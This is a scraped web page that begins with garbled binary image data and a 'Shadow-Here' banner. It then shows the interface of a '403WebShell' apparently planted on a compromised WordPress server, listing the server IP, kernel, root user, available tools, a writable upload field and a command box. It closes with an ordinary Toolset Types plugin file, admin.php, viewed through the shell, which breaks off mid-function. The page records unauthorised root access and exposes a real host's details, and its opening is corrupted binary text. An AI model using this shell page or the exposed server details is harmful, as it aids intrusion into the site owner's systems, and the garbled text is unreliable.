RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/bedpe/wp-content/plugins/types/vendor/toolset/types/embedded/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/bedpe/wp-content/plugins/types/vendor/toolset/types/embedded/admin.php
<?php
/**
 *
 *
 */
require_once( WPCF_EMBEDDED_TOOLSET_ABSPATH . '/toolset-common/visual-editor/editor-addon.class.php' );
require_once WPCF_EMBEDDED_ABSPATH . '/includes/post-relationship.php';

if ( defined( 'DOING_AJAX' ) ) {
	require_once WPCF_EMBEDDED_INC_ABSPATH . '/ajax.php';
	add_action( 'wp_ajax_wpcf_ajax', 'wpcf_ajax_embedded' );
}

/**
 * admin_init hook.
 */
function wpcf_embedded_admin_init_hook() {
	// Add callbacks for post edit pages
	add_action( 'load-post.php', 'wpcf_admin_edit_screen_load_hook' );
	add_action( 'load-post-new.php', 'wpcf_admin_edit_screen_load_hook' );

	// Meta boxes hook
	add_action( 'add_meta_boxes', 'wpcf_admin_add_meta_boxes', 10, 2 );

	// Add callback for 'media-upload.php'
	add_filter( 'get_media_item_args', 'wpcf_get_media_item_args_filter' );

	// Add save_post callback
	add_action( 'save_post', 'wpcf_admin_save_post_hook', 10, 2 );

	// Add Media callback
	add_action( 'add_attachment', 'wpcf_admin_save_attachment_hook', 10 );
	add_action( 'add_attachment', 'wpcf_admin_add_attachment_hook', 10 );
	add_action( 'edit_attachment', 'wpcf_admin_save_attachment_hook', 10 );

	// Render messages
	wpcf_show_admin_messages();

	// Render JS settings
	add_action( 'admin_head', 'wpcf_admin_render_js_settings' );

	// Media insert code
	if ( ( isset( $_GET['context'] ) && $_GET['context'] == 'wpcf-fields-media-insert' )
		|| ( isset( $_SERVER['HTTP_REFERER'] )
			&& strpos( $_SERVER['HTTP_REFERER'],
				'context=wpcf-fields-media-insert' ) !== false )
	) {
		require_once WPCF_EMBEDDED_INC_ABSPATH . '/fields/file.php';
		// Add types button
		add_filter( 'attachment_fields_to_edit', 'wpcf_fields_file_attachment_fields_to_edit_filter', PHP_INT_MAX, 2 );
		// Filter media TABs
		add_filter( 'media_upload_tabs', 'wpcf_fields_file_media_upload_tabs_filter' );
	}

	register_post_type( TYPES_CUSTOM_FIELD_GROUP_CPT_NAME,
		array(
			'public' => false,
			'label' => 'Types Groups',
			'can_export' => false,
		)
	);
	register_post_type( TYPES_USER_META_FIELD_GROUP_CPT_NAME,
		array(
			'public' => false,
			'label' => 'Types User Groups',
			'can_export' => false,
		)
	);

	register_post_type(
		TYPES_TERM_META_FIELD_GROUP_CPT_NAME,
		array(
			'public' => false,
			'label' => 'Types Term Groups',
			'can_export' => false,
		)
	);

	add_filter( 'icl_custom_fields_to_be_copied',
		'wpcf_custom_fields_to_be_copied', 10, 2 );

	// WPML editor filters
	add_filter( 'wpml_editor_custom_field_name', 'wpcf_wpml_editor_custom_field_name' );
	add_filter( 'wpml_editor_custom_field_style', 'wpcf_wpml_editor_custom_field_style', 10, 2 );

	// Initialize translations
	if ( function_exists( 'icl_register_string' )
		&& defined( 'WPML_ST_VERSION' )
		&& ! get_option( 'wpcf_strings_translation_initialized', false ) ) {
		wpcf_admin_bulk_string_translation();
		update_option( 'wpcf_strings_translation_initialized', 1 );
	}
}


/**
 * Add meta boxes hook.
 *
 */
function wpcf_admin_add_meta_boxes( $post_type, $post ) {
	require_once WPCF_EMBEDDED_INC_ABSPATH . '/fields.php';
	require_once WPCF_EMBEDDED_INC_ABSPATH . '/fields-post.php';

	if ( $post ) {
		wpcf_add_meta_boxes( $post_type, $post );
	}
}


/**
 * save_post hook.
 *
 * @refactor see /youtrack/issue/types-1454#comment=102-254285
 */
function wpcf_admin_save_post_hook( $post_ID, $post ) {
	require_once WPCF_EMBEDDED_INC_ABSPATH . '/fields.php';
	require_once WPCF_EMBEDDED_INC_ABSPATH . '/fields-post.php';
	wpcf_admin_post_save_post_hook( $post_ID, $post );
}


/**
 * Save attachment hook.
 *
 */
function wpcf_admin_add_attachment_hook( $attachment_id ) {
	$post = get_post( $attachment_id );
	wpcf_admin_post_add_attachment_hook( $attachment_id, $post );
}


/**
 * Save attachment hook.
 *
 */
function wpcf_admin_save_attachment_hook( $attachment_id ) {
	$post = get_post( $attachment_id );
	wpcf_admin_save_post_hook( $attachment_id, $post );
}


/**
 * Triggers post procceses.
 */
function wpcf_admin_edit_screen_load_hook() {
	require_once WPCF_EMBEDDED_INC_ABSPATH . '/fields-post.php';
	global $wpcf;
	$wpcf->post = wpcf_admin_get_edited_post();
	wpcf_admin_post_init( $wpcf->post );
}


/**
 * Add styles to admin fields groups
 */
function wpcf_admin_fields_postfields_styles() {

	require_once WPCF_EMBEDDED_INC_ABSPATH . '/fields.php';
	require_once WPCF_EMBEDDED_INC_ABSPATH . '/fields-post.php';

	//    $groups = wpcf_admin_fields_get_groups();
	$groups = wpcf_admin_post_get_post_groups_fields( wpcf_admin_get_edited_post() );

	if ( ! empty( $groups ) ) {
		echo '<style type="text/css">';
		foreach ( $groups as $group ) {
			echo str_replace( "}", "}\n",
				wpcf_admin_get_groups_admin_styles_by_group( $group['id'] ) );
		}
		echo '</style>';
	}
}


/**
 * Add styles to userfields groups
 */
function wpcf_admin_fields_userfields_styles() {

	require_once WPCF_EMBEDDED_INC_ABSPATH . '/usermeta-post.php';


	//    $groups = wpcf_admin_fields_get_groups();
	$groups = wpcf_admin_usermeta_get_groups_fields();

	if ( ! empty( $groups ) ) {
		echo '<style type="text/css">';
		foreach ( $groups as $key => $group ) {
			echo str_replace( "}", "}\n",
				wpcf_admin_get_groups_admin_styles_by_group( $group['id'] ) );
		}
		echo '</style>';
	}
}


/** @noinspection PhpUndefinedClassInspection */

/**
 * Initiates/returns specific form.
 *
 * @staticvar array $wpcf_forms
 *
 * @param string $id
 * @param array $form
 *
 * @return Enlimbo_Forms_Wpcf
 * @deprecated Please avoid using Enlimbo forms for new code. Consider using Twig templates instead.
 */
function wpcf_form( $id, $form = array() ) {
	static $wpcf_forms = array();

	if ( isset( $wpcf_forms[ $id ] ) ) {
		return $wpcf_forms[ $id ];
	}

	require_once WPCF_EMBEDDED_ABSPATH . '/classes/forms.php';
	/** @noinspection PhpUndefinedClassInspection */

	$new_form = new Enlimbo_Forms_Wpcf();
	$new_form->autoHandle( $id, $form );

	$wpcf_forms[ $id ] = $new_form;

	return $wpcf_forms[ $id ];
}


/**
 * Renders form elements.
 *
 * @staticvar string $form
 *
 * @param array $elements
 *
 * @return array
 * @deprecated Please avoid using Enlimbo forms for new code. Consider using Twig templates instead.
 */
function wpcf_form_simple( $elements ) {
	static $form = null;
	require_once WPCF_EMBEDDED_ABSPATH . '/classes/forms.php';
	if ( is_null( $form ) ) {
		$form = new Enlimbo_Forms_Wpcf();
	}

	return $form->renderElements( $elements );
}


/**
 * Validates form elements (simple).
 *
 * @staticvar string $form
 *
 * @deprecated Please avoid using Enlimbo forms for new code. Consider using Twig templates instead.
 */
function wpcf_form_simple_validate( &$elements ) {
	static $form = null;
	require_once WPCF_EMBEDDED_ABSPATH . '/classes/forms.php';
	if ( is_null( $form ) ) {
		$form = new Enlimbo_Forms_Wpcf();
	}
	$form->validate( $elements );

	return $form;
}


/**
 * Stores JS validation rules.
 *
 * @staticvar array $validation
 *
 *
 * @return array
 * @deprecated Please avoid using Enlimbo forms for new code. Consider using Twig templates instead.
 */
function wpcf_form_add_js_validation( $element ) {
	static $validation = array();
	if ( $element == 'get' ) {
		$temp = $validation;
		$validation = array();

		return $temp;
	}
	$validation[ $element['#id'] ] = $element;
}


/**
 * Renders JS validation rules.
 *
 *
 * @return string
 * @deprecated Please avoid using Enlimbo forms for new code. Consider using Twig templates instead.
 */
function wpcf_form_render_js_validation(
	$selector = '.wpcf-form-validate',
	$echo = true
) {
	$output = WPCF_Validation::renderJsonData( $selector );
	if ( $echo ) {
		echo $output;
	}

	return $output;
}


/**
 * wpcf_custom_fields_to_be_copied
 *
 * Hook the copy custom fields from WPML and remove any of the fields
 * that wpcf will copy.
 */
function wpcf_custom_fields_to_be_copied( $copied_fields, $original_post_id ) {

	// see if this is one of our fields.
	$groups = wpcf_admin_post_get_post_groups_fields( get_post( $original_post_id ) );

	foreach ( $copied_fields as $id => $copied_field ) {
		foreach ( $groups as $group ) {
			if ( isset( $group['fields'] ) && is_array( $group['fields'] ) ) {
				foreach ( $group['fields'] as $field ) {
					if ( ! is_array( $field ) || ! isset( $field['slug'] ) ) {
						// repeatable field group
						continue;
					}
					if ( $copied_field == wpcf_types_get_meta_prefix( $field ) . $field['slug'] ) {
						unset( $copied_fields[ $id ] );
					}
				}
			}
		}
	}

	return $copied_fields;
}


/**
 * Holds validation messages.
 *
 * @param type $method
 *
 * @return type
 */
function wpcf_admin_validation_messages( $method = false, $sprintf = '' ) {
	$messages = array(
		'required' => __( 'This field is required.', 'wpcf' ),
		'email' => __( 'Please enter a valid email address.', 'wpcf' ),
		'url' => __( 'Please enter a valid URL address.', 'wpcf' ),
		'date' => __( 'Please enter a valid date.', 'wpcf' ),
		'digits' => __( 'Please enter numeric data.', 'wpcf' ),
		'number' => __( 'Please enter numeric data.', 'wpcf' ),
		'alphanumeric' => __( 'Letters, numbers, spaces or underscores only please.', 'wpcf' ),
		'nospecialchars' => __( 'Letters, numbers, spaces, underscores and dashes only please.', 'wpcf' ),
		'rewriteslug' => __( 'Letters, numbers, slashes, underscores and dashes only please.', 'wpcf' ),
		'negativeTimestamp' => __( 'Please enter a date after 1 January 1970.', 'wpcf' ),
		'maxlength' => sprintf( __( 'Maximum of %s characters exceeded.', 'wpcf' ), strval( $sprintf ) ),
		'minlength' => sprintf( __( 'Minimum of %s characters has not been reached.', 'wpcf' ), strval( $sprintf ) ),
		/**
		 * see
		 * https://support.skype.com/en/faq/FA10858/what-is-a-skype-name-and-how-do-i-find-mine
		 */
		'skype' => __( 'Letters, numbers, dashes, underscores, commas and periods only please.', 'wpcf' ),
	);
	if ( $method ) {
		return isset( $messages[ $method ] ) ? $messages[ $method ] : '';
	}

	return $messages;
}


/**
 * Sanitize admin notice.
 *
 * @param string $message
 *
 * @return string
 */
function wpcf_admin_message_sanitize( $message ) {
	$allowed_tags = array(
		'a' => array(
			'href' => array(),
			'title' => array(),
		),
		'br' => array(),
		'b' => array(),
		'div' => array(),
		'em' => array(),
		'i' => array(),
		'p' => array(),
		'strong' => array(),
	);
	$message = wp_kses( $message, $allowed_tags );

	return stripslashes( html_entity_decode( $message, ENT_QUOTES ) );
}


/**
 * Adds admin notice.
 *
 * @param string $message
 * @param string $class
 * @param string $mode 'action'|'echo'
 */
function wpcf_admin_message( $message, $class = 'updated', $mode = 'action' ) {
	if ( 'action' == $mode ) {
		add_action( 'admin_notices', function () use ( $class, $message ) {
			$message = htmlentities( $message, ENT_QUOTES );
			$screen = get_current_screen();
			if ( ! $screen->is_network ) {
				echo '<div class="message js-toolset-fadable '
					. $class
					. '"><p>'
					. wpcf_admin_message_sanitize( $message )
					. '</p></div>';
			}
		} );
	} elseif ( 'echo' == $mode ) {
		printf(
			'<div class="message %s is-dismissible"><p>%s</p> <button type="button" class="notice-dismiss">
            <span class="screen-reader-text">
               ' . __( 'Dismiss this notice.' ) . '
            </span>
        </button></div>',
			$class,
			wpcf_admin_message_sanitize( $message )
		);
	}
}


/**
 * Shows stored messages.
 */
function wpcf_show_admin_messages( $mode = 'action' ) {
	$messages = get_option( 'wpcf-messages', array() );
	$messages_for_user = isset( $messages[ get_current_user_id() ] ) ? $messages[ get_current_user_id() ] : array();
	$dismissed = get_option( 'wpcf_dismissed_messages', array() );
	if ( ! empty( $messages_for_user ) && is_array( $messages_for_user ) ) {
		foreach ( $messages_for_user as $message_id => $message ) {
			if ( ! in_array( $message['keep_id'], $dismissed ) ) {
				wpcf_admin_message( $message['message'], $message['class'], $mode );
			}
			if ( empty( $message['keep_id'] )
				|| in_array( $message['keep_id'], $dismissed )
			) {
				unset( $messages[ get_current_user_id() ][ $message_id ] );
			}
		}
	}
	update_option( 'wpcf-messages', $messages );
}


/**
 * Stores admin notices if redirection is performed.
 *
 * @param string $message
 * @param string $class
 */
function wpcf_admin_message_store( $message, $class = 'updated', $keep_id = false ) {
	/**
	 * Allow to store or note
	 *
	 * Filter allow to turn off storing messages in Types
	 *
	 * @param boolean $var default value is true to show messages
	 *
	 * @since 1.6.6
	 *
	 */
	if ( ! apply_filters( 'wpcf_admin_message_store', true ) ) {
		return;
	}
	$messages = get_option( 'wpcf-messages', array() );
	$messages[ get_current_user_id() ][ md5( $message ) ] = array(
		'message' => $message,
		'class' => $class,
		'keep_id' => $keep_id ? $keep_id : false,
	);
	update_option( 'wpcf-messages', $messages );
}


/**
 * Admin notice with dismiss button.
 *
 * @param type $ID
 * @param string $message
 * @param type $store
 *
 * @return boolean
 */
function wpcf_admin_message_dismiss( $ID, $message, $store = true ) {
	$dismissed = get_option( 'wpcf_dismissed_messages', array() );
	if ( in_array( $ID, $dismissed ) ) {
		return false;
	}
	$message = $message
		. '<div style="float:right; margin:-15px 0 0 15px;"><a onclick="jQuery(this).parent().parent().fadeOut();jQuery.get(\''
		. admin_url( 'admin-ajax.php?action=wpcf_ajax&amp;wpcf_action=dismiss_message&amp;id='
			. $ID . '&amp;_wpnonce=' . wp_create_nonce( 'dismiss_message' ) )
		. '\');return false;"'
		. 'class="button-secondary" href="javascript:void(0);">'
		. __( 'Dismiss', 'wpcf' )
		. '</a></div>';
	if ( $store ) {
		wpcf_admin_message_store( $message, 'updated', $ID );
	} else {
		wpcf_admin_message( $message );
	}
}


/**
 * Checks if message is dismissed.
 *
 * @param type $message_id
 *
 * @return boolean
 */
function wpcf_message_is_dismissed( $message_id ) {
	return in_array( $message_id,
		(array) get_option( '_wpcf_dismissed_messages', array() ) );
}


/**
 * Adds dismissed message to record.
 *
 * @param $ID
 */
function wpcf_admin_message_set_dismissed( $ID ) {
	$messages = get_option( 'wpcf_dismissed_messages', array() );
	if ( ! in_array( $ID, $messages ) ) {
		$messages[] = $ID;
		update_option( 'wpcf_dismissed_messages', $messages, true );
	}
}


/**
 * Removes dismissed message from record.
 *
 * @param $ID
 */
function wpcf_admin_message_restore_dismissed( $ID ) {
	$messages = get_option( 'wpcf_dismissed_messages', array() );
	$key = array_search( $ID, $messages );
